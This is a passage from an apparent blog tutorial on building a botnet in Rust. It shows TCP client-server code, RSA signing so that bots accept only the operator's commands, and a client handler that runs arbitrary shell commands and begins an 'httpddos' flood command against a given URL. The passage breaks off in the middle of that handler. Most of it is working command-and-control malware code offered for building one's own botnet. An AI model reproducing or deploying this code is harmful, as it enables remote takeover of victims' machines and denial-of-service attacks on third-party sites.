        <span class="k">let</span> <span class="n">message_length</span> <span class="o">=</span> <span class="k">match</span> <span class="n">reader</span><span class="nf">.read_exact</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span> <span class="n">buf</span><span class="p">)</span><span class="k">.await</span> <span class="p">{</span>
            <span class="nf">Ok</span><span class="p">(</span><span class="n">n</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="n">n</span><span class="p">,</span>
            <span class="nf">Err</span><span class="p">(</span><span class="n">_</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="p">{</span>
                <span class="k">let</span> <span class="n">_</span> <span class="o">=</span> <span class="n">writer</span><span class="nf">.shutdown</span><span class="p">()</span><span class="k">.await</span><span class="p">;</span>
                <span class="k">continue</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">};</span>

        <span class="nd">println!</span><span class="p">(</span><span class="s">"Message from server: {}"</span><span class="p">,</span> <span class="nn">String</span><span class="p">::</span><span class="nf">from_utf8_lossy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">buf</span><span class="p">[</span><span class="o">..</span><span class="p">]));</span>
    <span class="p">}</span>

<span class="p">}</span></code></pre></figure>

<p>Just like that, we have communication between server and client. Before we move on, let’s make a refactor to the <em>server</em> that allows for the passing of command-line arguments to the threads.</p>

<figure class="highlight"><pre><code class="language-rust" data-lang="rust"><span class="k">use</span> <span class="nn">std</span><span class="p">::</span><span class="nn">error</span><span class="p">::</span><span class="n">Error</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">tokio</span><span class="p">::</span><span class="nn">net</span><span class="p">::{</span><span class="n">TcpListener</span><span class="p">,</span> <span class="n">TcpStream</span><span class="p">};</span>
<span class="k">use</span> <span class="nn">std</span><span class="p">::</span><span class="nn">sync</span><span class="p">::{</span><span class="nb">Arc</span><span class="p">,</span> <span class="n">Mutex</span><span class="p">};</span>

<span class="nd">#[tokio::main]</span>
<span class="k">async</span> <span class="k">fn</span> <span class="nf">main</span><span class="p">()</span> <span class="k">-&gt;</span> <span class="nb">Result</span><span class="o">&lt;</span><span class="p">(),</span> <span class="nb">Box</span><span class="o">&lt;</span><span class="k">dyn</span> <span class="n">Error</span><span class="o">&gt;&gt;</span> <span class="p">{</span>
<span class="k">let</span> <span class="n">listener</span> <span class="o">=</span> <span class="nn">TcpListener</span><span class="p">::</span><span class="nf">bind</span><span class="p">(</span><span class="s">"0.0.0.0:8080"</span><span class="p">)</span><span class="k">.await</span><span class="o">?</span><span class="p">;</span> <span class="c1">// Get a TcpListener on port 8080</span>
<span class="k">let</span> <span class="n">args</span><span class="p">:</span> <span class="nb">Arc</span><span class="o">&lt;</span><span class="n">Mutex</span><span class="o">&lt;</span><span class="nb">Vec</span><span class="o">&lt;</span><span class="nb">String</span><span class="o">&gt;&gt;&gt;</span> <span class="o">=</span> <span class="nn">Arc</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="nn">Mutex</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="nn">std</span><span class="p">::</span><span class="nn">env</span><span class="p">::</span><span class="nf">args</span><span class="p">()</span><span class="nf">.collect</span><span class="p">()));</span>

    <span class="k">loop</span> <span class="p">{</span>
        <span class="k">let</span> <span class="p">(</span><span class="n">socket</span><span class="p">,</span> <span class="n">_</span><span class="p">)</span> <span class="o">=</span> <span class="n">listener</span><span class="nf">.accept</span><span class="p">()</span><span class="k">.await</span><span class="o">?</span><span class="p">;</span>
        <span class="k">let</span> <span class="n">a</span> <span class="o">=</span> <span class="nn">Arc</span><span class="p">::</span><span class="nf">clone</span><span class="p">(</span><span class="o">&amp;</span><span class="n">args</span><span class="p">);</span>

        <span class="nn">tokio</span><span class="p">::</span><span class="nf">spawn</span><span class="p">(</span><span class="k">async</span> <span class="k">move</span><span class="p">{</span>
            <span class="nf">handle_conn</span><span class="p">(</span><span class="n">socket</span><span class="p">,</span> <span class="n">a</span><span class="p">)</span><span class="k">.await</span><span class="p">;</span>
        <span class="p">});</span>
    <span class="p">}</span>

<span class="p">}</span>

<span class="k">async</span> <span class="k">fn</span> <span class="nf">handle_conn</span><span class="p">(</span><span class="k">mut</span> <span class="n">stream</span><span class="p">:</span> <span class="n">TcpStream</span><span class="p">,</span> <span class="n">args</span><span class="p">:</span> <span class="nb">Arc</span><span class="o">&lt;</span><span class="n">Mutex</span><span class="o">&lt;</span><span class="nb">Vec</span><span class="o">&lt;</span><span class="nb">String</span><span class="o">&gt;&gt;&gt;</span><span class="p">)</span> <span class="p">{</span>
<span class="k">let</span> <span class="p">(</span><span class="k">mut</span> <span class="n">reader</span><span class="p">,</span> <span class="k">mut</span> <span class="n">writer</span><span class="p">)</span> <span class="o">=</span> <span class="n">stream</span><span class="nf">.split</span><span class="p">();</span>

    <span class="k">let</span> <span class="k">mut</span> <span class="n">buf</span> <span class="o">=</span> <span class="nd">vec!</span><span class="p">[</span><span class="mi">0u8</span><span class="p">;</span> <span class="mi">1024</span><span class="p">];</span>
    <span class="k">let</span> <span class="n">n</span> <span class="o">=</span> <span class="n">reader</span><span class="nf">.read</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span> <span class="n">buf</span><span class="p">)</span><span class="k">.await</span><span class="nf">.expect</span><span class="p">(</span><span class="s">"Failed to read from reader"</span><span class="p">);</span>
    <span class="nd">println!</span><span class="p">(</span><span class="s">"Recieved from client: {}"</span><span class="p">,</span> <span class="nn">String</span><span class="p">::</span><span class="nf">from_utf8_lossy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">buf</span><span class="p">[</span><span class="o">..</span><span class="p">]));</span>

    <span class="k">for</span> <span class="p">(</span><span class="n">index</span><span class="p">,</span> <span class="n">val</span><span class="p">)</span> <span class="k">in</span> <span class="n">buf</span><span class="nf">.iter_mut</span><span class="p">()</span><span class="nf">.enumerate</span><span class="p">()</span> <span class="p">{</span>
        <span class="o">*</span><span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">let</span> <span class="n">arg</span><span class="p">;</span>
    <span class="p">{</span>
        <span class="n">arg</span> <span class="o">=</span> <span class="n">args</span><span class="nf">.lock</span><span class="p">()</span><span class="nf">.unwrap</span><span class="p">()</span><span class="nf">.get</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="nf">.expect</span><span class="p">(</span><span class="s">"No Args"</span><span class="p">)</span><span class="nf">.clone</span><span class="p">();</span>
    <span class="p">}</span>

    <span class="n">arg</span><span class="nf">.into_bytes</span><span class="p">()</span><span class="nf">.iter</span><span class="p">()</span><span class="nf">.enumerate</span><span class="p">()</span><span class="nf">.for_each</span><span class="p">(|</span><span class="n">index</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">val</span><span class="p">|</span> <span class="p">{</span>
        <span class="n">buf</span><span class="p">[</span><span class="n">index</span><span class="p">]</span> <span class="o">=</span> <span class="n">val</span><span class="p">;</span>
    <span class="p">});</span>

    <span class="n">writer</span><span class="nf">.write_all</span><span class="p">(</span><span class="o">&amp;</span><span class="n">buf</span><span class="p">[</span><span class="o">..</span><span class="p">])</span><span class="k">.await</span><span class="nf">.expect</span><span class="p">(</span><span class="s">"Writer Failed"</span><span class="p">);</span>

    <span class="n">writer</span><span class="nf">.shutdown</span><span class="p">()</span><span class="k">.await</span><span class="p">;</span>

<span class="p">}</span></code></pre></figure>

<p>There are obviously alternatives to this solution, this is just how I am implementing this in the case that I want to use more args in the future without <em>always</em> cloning.
Do what you want for this.</p>

<h1 id="authentication">Authentication</h1>

<p>We have a solid channel set up for communications, but how do we ensure that messages being sent to the network areactually from you?
It could be pretty bad if just anyone could tell your botnet to do something, so we need some form of authentication from the server to the client. There are some
requirements when it comes to authentication here, mainly a client should be able to verify a message is from the legitimate control server, while not being given enough information
to <em>impersonate</em> the control server.</p>

<p>RSA is our answer. For those completely unfamiliar, RSA is an asymmetric encyption scheme, meaning that a private key and public key cannot work interchangably. A private key (kept private) is used to encrypt and a public key is used to decrypt or vice versa. Importantly, the private key must be private because a valid public key can be generated from a private key, and the same is not true the other way around. What is my whole point? We can verify a message senders integrity if they sign a message with the private key which we know only they have.</p>

<p>This method of verifying sender integrity is called <em>signing</em> a message. The specifics don’t matter that much to use because there is a very nice RSA crate in Rust that we can use. Let’s start with the server.</p>

<blockquote>
  <p>Small detail, you will need to generate a pkcs1 PEM to use here. This can be done on websites, openssl, or some script made to do this.</p>
</blockquote>

<figure class="highlight"><pre><code class="language-rust" data-lang="rust"><span class="c1">// Pretend we have all of the other stuff we have done.</span>
<span class="c1">// Starting at main so we can pass the private key to all</span>
<span class="c1">// the connection tasks.</span>

<span class="k">use</span> <span class="nn">rsa</span><span class="p">::</span><span class="nn">pkcs1v15</span><span class="p">::{</span><span class="n">SigningKey</span><span class="p">,</span> <span class="n">Signature</span><span class="p">};</span>
<span class="k">use</span> <span class="nn">rsa</span><span class="p">::</span><span class="n">RsaPrivateKey</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">rsa</span><span class="p">::</span><span class="nn">signature</span><span class="p">::{</span><span class="n">RandomizedSigner</span><span class="p">,</span> <span class="n">SignatureEncoding</span><span class="p">,</span> <span class="n">Verifier</span><span class="p">};</span>
<span class="k">use</span> <span class="nn">rsa</span><span class="p">::</span><span class="nn">sha2</span><span class="p">::{</span><span class="n">Digest</span><span class="p">,</span> <span class="n">Sha256</span><span class="p">};</span>
<span class="k">use</span> <span class="nn">rsa</span><span class="p">::</span><span class="nn">pkcs1</span><span class="p">::</span><span class="n">DecodeRsaPrivateKey</span><span class="p">;</span>
<span class="k">use</span> <span class="n">rand</span><span class="p">;</span> <span class="c1">// HUGE IMPORTANT NOTE! You need rand version 0.8.0</span>
<span class="c1">// For this to work.</span>

<span class="k">const</span> <span class="n">PRIVATE_PEM</span><span class="p">:</span> <span class="o">&amp;</span><span class="nb">str</span> <span class="o">=</span> <span class="s">"Key"</span><span class="p">;</span>

<span class="nd">#[tokio::main]</span>
<span class="k">async</span> <span class="k">fn</span> <span class="nf">main</span><span class="p">()</span> <span class="k">-&gt;</span> <span class="nb">Result</span><span class="o">&lt;</span><span class="p">(),</span> <span class="nb">Box</span><span class="o">&lt;</span><span class="k">dyn</span> <span class="n">Error</span><span class="o">&gt;&gt;</span> <span class="p">{</span>
<span class="k">let</span> <span class="n">listener</span> <span class="o">=</span> <span class="nn">TcpListener</span><span class="p">::</span><span class="nf">bind</span><span class="p">(</span><span class="s">"0.0.0.0:8080"</span><span class="p">)</span><span class="k">.await</span><span class="o">?</span><span class="p">;</span> <span class="c1">// Get a TcpListener on port 8080</span>
<span class="k">let</span> <span class="n">args</span><span class="p">:</span> <span class="nb">Arc</span><span class="o">&lt;</span><span class="n">Mutex</span><span class="o">&lt;</span><span class="nb">Vec</span><span class="o">&lt;</span><span class="nb">String</span><span class="o">&gt;&gt;&gt;</span> <span class="o">=</span> <span class="nn">Arc</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="nn">Mutex</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="nn">std</span><span class="p">::</span><span class="nn">env</span><span class="p">::</span><span class="nf">args</span><span class="p">()</span><span class="nf">.collect</span><span class="p">()));</span>

    <span class="k">let</span> <span class="n">private_key</span> <span class="o">=</span> <span class="nn">RsaPrivateKey</span><span class="p">::</span><span class="nf">from_pkcs1_pem</span><span class="p">(</span><span class="n">PRIVATE_PEM</span><span class="p">)</span><span class="nf">.expect</span><span class="p">(</span><span class="s">"Could not get private key"</span><span class="p">);</span>
    <span class="k">let</span> <span class="n">signing_key</span><span class="p">:</span> <span class="nb">Arc</span><span class="o">&lt;</span><span class="n">Mutex</span><span class="o">&lt;</span><span class="n">SigningKey</span><span class="o">&lt;</span><span class="n">Sha256</span><span class="o">&gt;&gt;&gt;</span> <span class="o">=</span> <span class="nn">Arc</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="nn">Mutex</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="nn">SigningKey</span><span class="p">::</span><span class="o">&lt;</span><span class="n">Sha256</span><span class="o">&gt;</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="n">private_key</span><span class="p">)));</span>

    <span class="k">loop</span> <span class="p">{</span>
        <span class="k">let</span> <span class="p">(</span><span class="n">socket</span><span class="p">,</span> <span class="n">_</span><span class="p">)</span> <span class="o">=</span> <span class="n">listener</span><span class="nf">.accept</span><span class="p">()</span><span class="k">.await</span><span class="o">?</span><span class="p">;</span>
        <span class="k">let</span> <span class="n">a</span> <span class="o">=</span> <span class="nn">Arc</span><span class="p">::</span><span class="nf">clone</span><span class="p">(</span><span class="o">&amp;</span><span class="n">args</span><span class="p">);</span>
        <span class="k">let</span> <span class="n">s</span> <span class="o">=</span> <span class="nn">Arc</span><span class="p">::</span><span class="nf">clone</span><span class="p">(</span><span class="o">&amp;</span><span class="n">signing_key</span><span class="p">);</span>
        <span class="nn">tokio</span><span class="p">::</span><span class="nf">spawn</span><span class="p">(</span><span class="k">async</span> <span class="k">move</span><span class="p">{</span>
            <span class="nf">handle_conn</span><span class="p">(</span><span class="n">socket</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">s</span><span class="p">)</span><span class="k">.await</span><span class="p">;</span>
        <span class="p">});</span>
    <span class="p">}</span>

<span class="p">}</span>

<span class="k">async</span> <span class="k">fn</span> <span class="nf">handle_conn</span><span class="p">(</span><span class="k">mut</span> <span class="n">stream</span><span class="p">:</span> <span class="n">TcpStream</span><span class="p">,</span> <span class="n">args</span><span class="p">:</span> <span class="nb">Arc</span><span class="o">&lt;</span><span class="n">Mutex</span><span class="o">&lt;</span><span class="nb">Vec</span><span class="o">&lt;</span><span class="nb">String</span><span class="o">&gt;&gt;&gt;</span><span class="p">,</span> <span class="n">signing_key</span><span class="p">:</span> <span class="nb">Arc</span><span class="o">&lt;</span><span class="n">Mutex</span><span class="o">&lt;</span><span class="n">SigningKey</span><span class="o">&lt;</span><span class="n">Sha256</span><span class="o">&gt;&gt;&gt;</span><span class="p">)</span> <span class="p">{</span>
<span class="k">let</span> <span class="p">(</span><span class="k">mut</span> <span class="n">reader</span><span class="p">,</span> <span class="k">mut</span> <span class="n">writer</span><span class="p">)</span> <span class="o">=</span> <span class="n">stream</span><span class="nf">.split</span><span class="p">();</span>

    <span class="k">let</span> <span class="k">mut</span> <span class="n">buf</span> <span class="o">=</span> <span class="nd">vec!</span><span class="p">[</span><span class="mi">0u8</span><span class="p">;</span> <span class="mi">1024</span><span class="p">];</span>
    <span class="k">let</span> <span class="n">n</span> <span class="o">=</span> <span class="n">reader</span><span class="nf">.read</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span> <span class="n">buf</span><span class="p">)</span><span class="k">.await</span><span class="nf">.expect</span><span class="p">(</span><span class="s">"Failed to read from reader"</span><span class="p">);</span>
    <span class="nd">println!</span><span class="p">(</span><span class="s">"Recieved from client: {}"</span><span class="p">,</span> <span class="nn">String</span><span class="p">::</span><span class="nf">from_utf8_lossy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">buf</span><span class="p">[</span><span class="o">..</span><span class="p">]));</span>

    <span class="k">for</span> <span class="p">(</span><span class="n">index</span><span class="p">,</span> <span class="n">val</span><span class="p">)</span> <span class="k">in</span> <span class="n">buf</span><span class="nf">.iter_mut</span><span class="p">()</span><span class="nf">.enumerate</span><span class="p">()</span> <span class="p">{</span>
        <span class="o">*</span><span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">let</span> <span class="n">arg</span><span class="p">;</span>
    <span class="p">{</span>
        <span class="n">arg</span> <span class="o">=</span> <span class="n">args</span><span class="nf">.lock</span><span class="p">()</span><span class="nf">.unwrap</span><span class="p">()</span><span class="nf">.get</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="nf">.expect</span><span class="p">(</span><span class="s">"No Args"</span><span class="p">)</span><span class="nf">.clone</span><span class="p">();</span>
    <span class="p">}</span>

    <span class="n">arg</span><span class="nf">.into_bytes</span><span class="p">()</span><span class="nf">.iter</span><span class="p">()</span><span class="nf">.enumerate</span><span class="p">()</span><span class="nf">.for_each</span><span class="p">(|</span><span class="n">index</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">val</span><span class="p">|</span> <span class="p">{</span>
        <span class="n">buf</span><span class="p">[</span><span class="n">index</span><span class="p">]</span> <span class="o">=</span> <span class="n">val</span><span class="p">;</span>
    <span class="p">});</span>

    <span class="k">let</span> <span class="n">signed_message</span><span class="p">;</span>
    <span class="p">{</span>
        <span class="k">let</span> <span class="n">signing_key</span> <span class="o">=</span> <span class="n">signing_key</span><span class="nf">.lock</span><span class="p">()</span><span class="nf">.unwrap</span><span class="p">();</span>
        <span class="k">let</span> <span class="k">mut</span> <span class="n">rng</span> <span class="o">=</span> <span class="nn">rand</span><span class="p">::</span><span class="nf">thread_rng</span><span class="p">();</span>
        <span class="n">signed_message</span> <span class="o">=</span> <span class="n">signing_key</span><span class="nf">.sign_with_rng</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span> <span class="n">rng</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">buf</span><span class="p">[</span><span class="o">..</span><span class="p">])</span><span class="nf">.to_bytes</span><span class="p">();</span>
    <span class="p">}</span>

    <span class="n">writer</span><span class="nf">.write_all</span><span class="p">(</span><span class="o">&amp;</span><span class="n">buf</span><span class="p">[</span><span class="o">..</span><span class="p">])</span><span class="k">.await</span><span class="nf">.expect</span><span class="p">(</span><span class="s">"Writer Failed"</span><span class="p">);</span>
    <span class="n">writer</span><span class="nf">.write_all</span><span class="p">(</span><span class="o">&amp;</span><span class="n">signed_message</span><span class="p">[</span><span class="o">..</span><span class="p">])</span><span class="k">.await</span><span class="nf">.expect</span><span class="p">(</span><span class="s">"Writer Failed"</span><span class="p">);</span>

    <span class="n">writer</span><span class="nf">.shutdown</span><span class="p">()</span><span class="k">.await</span><span class="p">;</span>

<span class="p">}</span></code></pre></figure>

<p>If you’re observant, you might now understand why it’s a good idea to set a fixed amount of bytes to be sent over the wire. Because a socket really just acts like a file,
a single call to read on the client could read the message <strong>AND</strong> the signature! This would of course cause problems. With our current design, we know that the clear-text is 1024 bytes
and the signature is 256 bytes (a feature of hashing with Sha256), stopping this annoying bug.</p>

<p>Let’s verify the message on the client.</p>

<figure class="highlight"><pre><code class="language-rust" data-lang="rust"><span class="c1">// Everything else is the same, added changes.</span>

<span class="k">use</span> <span class="nn">rsa</span><span class="p">::</span><span class="nn">pkcs1</span><span class="p">::</span><span class="n">DecodeRsaPublicKey</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">rsa</span><span class="p">::</span><span class="nn">pkcs1v15</span><span class="p">::{</span><span class="n">Signature</span><span class="p">,</span> <span class="n">VerifyingKey</span><span class="p">};</span>
<span class="k">use</span> <span class="nn">rsa</span><span class="p">::</span><span class="nn">sha2</span><span class="p">::</span><span class="n">Sha256</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">rsa</span><span class="p">::</span><span class="nn">signature</span><span class="p">::</span><span class="n">Verifier</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">rsa</span><span class="p">::</span><span class="n">RsaPublicKey</span><span class="p">;</span>

<span class="k">const</span> <span class="n">PUBLIC_PEM</span><span class="p">:</span> <span class="o">&amp;</span><span class="nb">str</span> <span class="o">=</span> <span class="s">"Key"</span><span class="p">;</span>

<span class="nd">#[tokio::main]</span>
<span class="k">async</span> <span class="k">fn</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>

    <span class="k">let</span> <span class="n">public_key</span> <span class="o">=</span> <span class="nn">RsaPublicKey</span><span class="p">::</span><span class="nf">from_pkcs1_pem</span><span class="p">(</span><span class="n">PUBLIC_PEM</span><span class="p">)</span><span class="nf">.unwrap</span><span class="p">();</span>
    <span class="k">let</span> <span class="n">verify_key</span> <span class="o">=</span> <span class="nn">VerifyingKey</span><span class="p">::</span><span class="o">&lt;</span><span class="n">Sha256</span><span class="o">&gt;</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="n">public_key</span><span class="p">);</span>

    <span class="k">loop</span> <span class="p">{</span>
        <span class="nf">sleep</span><span class="p">(</span><span class="nn">Duration</span><span class="p">::</span><span class="nf">from_millis</span><span class="p">(</span><span class="mi">5000</span><span class="p">))</span><span class="k">.await</span><span class="p">;</span>

        <span class="k">let</span> <span class="k">mut</span> <span class="n">stream</span> <span class="o">=</span> <span class="nf">get_stream</span><span class="p">()</span><span class="k">.await</span><span class="p">;</span>
        <span class="k">let</span> <span class="p">(</span><span class="k">mut</span> <span class="n">reader</span><span class="p">,</span> <span class="k">mut</span> <span class="n">writer</span><span class="p">)</span> <span class="o">=</span> <span class="n">stream</span><span class="nf">.split</span><span class="p">();</span>

        <span class="k">if</span> <span class="k">let</span> <span class="nf">Err</span><span class="p">(</span><span class="n">_</span><span class="p">)</span> <span class="o">=</span> <span class="n">writer</span><span class="nf">.write_all</span><span class="p">(</span><span class="s">b"Hello!"</span><span class="p">)</span><span class="k">.await</span> <span class="p">{</span>
            <span class="k">let</span> <span class="n">_</span> <span class="o">=</span> <span class="n">writer</span><span class="nf">.shutdown</span><span class="p">()</span><span class="k">.await</span><span class="p">;</span>
            <span class="k">continue</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="k">let</span> <span class="k">mut</span> <span class="n">buf</span> <span class="o">=</span> <span class="nd">vec!</span><span class="p">[</span><span class="mi">0u8</span><span class="p">;</span> <span class="mi">1024</span><span class="p">];</span>

        <span class="c1">// Message</span>

        <span class="k">let</span> <span class="n">message_length</span> <span class="o">=</span> <span class="k">match</span> <span class="n">reader</span><span class="nf">.read_exact</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span> <span class="n">buf</span><span class="p">)</span><span class="k">.await</span> <span class="p">{</span>
            <span class="nf">Ok</span><span class="p">(</span><span class="n">n</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="n">n</span><span class="p">,</span>
            <span class="nf">Err</span><span class="p">(</span><span class="n">_</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="p">{</span>
                <span class="k">let</span> <span class="n">_</span> <span class="o">=</span> <span class="n">writer</span><span class="nf">.shutdown</span><span class="p">()</span><span class="k">.await</span><span class="p">;</span>
                <span class="k">continue</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">};</span>

        <span class="c1">// Signed Message</span>

        <span class="k">let</span> <span class="k">mut</span> <span class="n">signature_buf</span> <span class="o">=</span> <span class="nd">vec!</span><span class="p">[</span><span class="mi">0u8</span><span class="p">;</span> <span class="mi">256</span><span class="p">];</span>

        <span class="k">if</span> <span class="k">let</span> <span class="nf">Err</span><span class="p">(</span><span class="n">_</span><span class="p">)</span> <span class="o">=</span> <span class="n">reader</span><span class="nf">.read</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span> <span class="n">signature_buf</span><span class="p">)</span><span class="k">.await</span> <span class="p">{</span>
            <span class="k">let</span> <span class="n">_</span> <span class="o">=</span> <span class="n">writer</span><span class="nf">.shutdown</span><span class="p">()</span><span class="k">.await</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="c1">// Get Signature struct</span>
        <span class="k">let</span> <span class="n">signature</span> <span class="o">=</span>
            <span class="nn">Signature</span><span class="p">::</span><span class="nf">try_from</span><span class="p">(</span><span class="o">&amp;</span><span class="n">signature_buf</span><span class="p">[</span><span class="o">..</span><span class="p">])</span><span class="nf">.expect</span><span class="p">(</span><span class="s">"Failed to get signature from bytes"</span><span class="p">);</span> <span class="c1">// Important that this buf is 256 bytes!</span>

        <span class="c1">// Compare hashes!</span>
        <span class="k">if</span> <span class="k">let</span> <span class="nf">Err</span><span class="p">(</span><span class="n">e</span><span class="p">)</span> <span class="o">=</span> <span class="n">verify_key</span><span class="nf">.verify</span><span class="p">(</span><span class="o">&amp;</span><span class="n">buf</span><span class="p">[</span><span class="o">..</span><span class="n">message_length</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">signature</span><span class="p">)</span> <span class="p">{</span>
            <span class="nd">eprintln!</span><span class="p">(</span><span class="s">"{}"</span><span class="p">,</span> <span class="n">e</span><span class="p">);</span>
            <span class="k">continue</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="k">let</span> <span class="n">command</span> <span class="o">=</span> <span class="k">match</span> <span class="nn">String</span><span class="p">::</span><span class="nf">from_utf8</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="p">{</span>
            <span class="nf">Ok</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="n">c</span><span class="p">,</span>
            <span class="nf">Err</span><span class="p">(</span><span class="n">_</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="k">continue</span><span class="p">,</span>
        <span class="p">};</span>

        <span class="k">let</span> <span class="n">command</span> <span class="o">=</span> <span class="n">command</span><span class="nf">.trim_matches</span><span class="p">(</span><span class="nn">char</span><span class="p">::</span><span class="nf">from</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span> <span class="c1">// Our final message, assuming it was validated!</span>
    <span class="p">}</span>

<span class="p">}</span></code></pre></figure>

<blockquote>
  <p>When I first started making this, I had huge problems with signing because I was signing
empty bytes and then verifying against a message without those empty bytes at the end. If you try something different
and get verification errors, make sure you are trying to verify the exact same bytes.</p>
</blockquote>

<blockquote>
  <p>You are probably noticing how messy this main function is getting. Feel free to clean it up, but this will be the last of the clutter.
Executing commands will be delegated to its own function and the commands themselves will be functions in a seperate module.</p>
</blockquote>

<h1 id="executing-commands">Executing Commands</h1>

<p>If you have your own ideas for this, this is where you can drop off. You have a system for distributing commands as a string to your clients, go wild. If you want the way I’m doing this,
stick around. Also, everything from now on will be focused on the client. Make the server as fancy as you want but that’s where I’m stopping for now.</p>

<p>Let’s make a function to handle a command.</p>

<figure class="highlight"><pre><code class="language-rust" data-lang="rust"><span class="k">pub</span> <span class="k">mod</span> <span class="n">commands</span><span class="p">;</span>

<span class="k">async</span> <span class="k">fn</span> <span class="nf">handle_command</span><span class="p">(</span><span class="n">command</span><span class="p">:</span> <span class="o">&amp;</span><span class="nb">str</span><span class="p">)</span> <span class="p">{</span>
<span class="k">let</span> <span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="n">args</span><span class="p">)</span> <span class="o">=</span> <span class="k">match</span> <span class="n">command</span><span class="nf">.split_once</span><span class="p">(</span><span class="s">" "</span><span class="p">)</span> <span class="p">{</span>
<span class="nf">Some</span><span class="p">((</span><span class="n">c</span><span class="p">,</span> <span class="n">a</span><span class="p">))</span> <span class="k">=&gt;</span> <span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">a</span><span class="p">),</span>
<span class="nb">None</span> <span class="k">=&gt;</span> <span class="p">(</span><span class="o">&amp;</span><span class="n">command</span><span class="p">[</span><span class="o">..</span><span class="p">],</span> <span class="s">""</span><span class="p">),</span>
<span class="p">};</span>

    <span class="c1">// I keep the args as a string slice so that I can choose to use custom syntax for commands later</span>
    <span class="c1">// Do what you want here</span>

    <span class="k">match</span> <span class="n">command</span> <span class="p">{</span>
        <span class="s">"cmd"</span> <span class="k">=&gt;</span> <span class="p">{</span>
            <span class="nd">println!</span><span class="p">(</span><span class="s">"Command running!"</span><span class="p">);</span>
            <span class="k">if</span> <span class="nd">cfg!</span><span class="p">(</span><span class="n">target_os</span> <span class="o">=</span> <span class="s">"windows"</span><span class="p">)</span> <span class="p">{</span>
                <span class="nn">Command</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="s">"cmd"</span><span class="p">)</span>
                    <span class="nf">.args</span><span class="p">([</span><span class="s">"/C"</span><span class="p">,</span> <span class="n">args</span><span class="p">])</span>
                    <span class="nf">.spawn</span><span class="p">()</span>
                    <span class="nf">.expect</span><span class="p">(</span><span class="s">"Command err"</span><span class="p">);</span>
            <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
                <span class="nn">Command</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="s">"sh"</span><span class="p">)</span>
                    <span class="nf">.arg</span><span class="p">(</span><span class="s">"-c"</span><span class="p">)</span>
                    <span class="nf">.arg</span><span class="p">(</span><span class="n">args</span><span class="p">)</span>
                    <span class="nf">.spawn</span><span class="p">()</span>
                    <span class="nf">.expect</span><span class="p">(</span><span class="s">"Command err"</span><span class="p">);</span>
            <span class="p">}</span>
        <span class="p">}</span>
        <span class="s">"httpddos"</span> <span class="k">=&gt;</span> <span class="p">{</span>
            <span class="k">let</span> <span class="k">mut</span> <span class="n">args</span> <span class="o">=</span> <span class="n">args</span><span class="nf">.split</span><span class="p">(</span><span class="s">" "</span><span class="p">);</span>

            <span class="k">let</span> <span class="n">url</span> <span class="o">=</span> <span class="k">match</span> <span class="n">args</span><span class="nf">.next</span><span class="p">()</span> <span class="p">{</span>
                <span class="nf">Some</span><span class="p">(</span><span class="n">u</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="n">u</span><span class="nf">.to_string</span><span class="p">(),</span>
                <span class="nb">None</span> <span class="k">=&gt;</span> <span class="k">return</span><span class="p">,</span> <span class="c1">// need url</span>
            <span class="p">};</span>

            <span class="k">let</span> <span class="n">duration</span> <span class="o">=</span> <span class="k">match</span> <span class="n">args</span><span class="nf">.next</span><span class="p">()</span> <span class="p">{</span>
                <span class="nf">Some</span><span class="p">(</span><span class="n">d</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="nn">Duration</span><span class="p">::</span><span class="nf">from_secs</span><span class="p">(</span><span class="n">d</span><span class="nf">.parse</span><span class="p">()</span><span class="nf">.unwrap_or</span><span class="p">(</span><span class="mi">300</span><span class="p">)),</span>
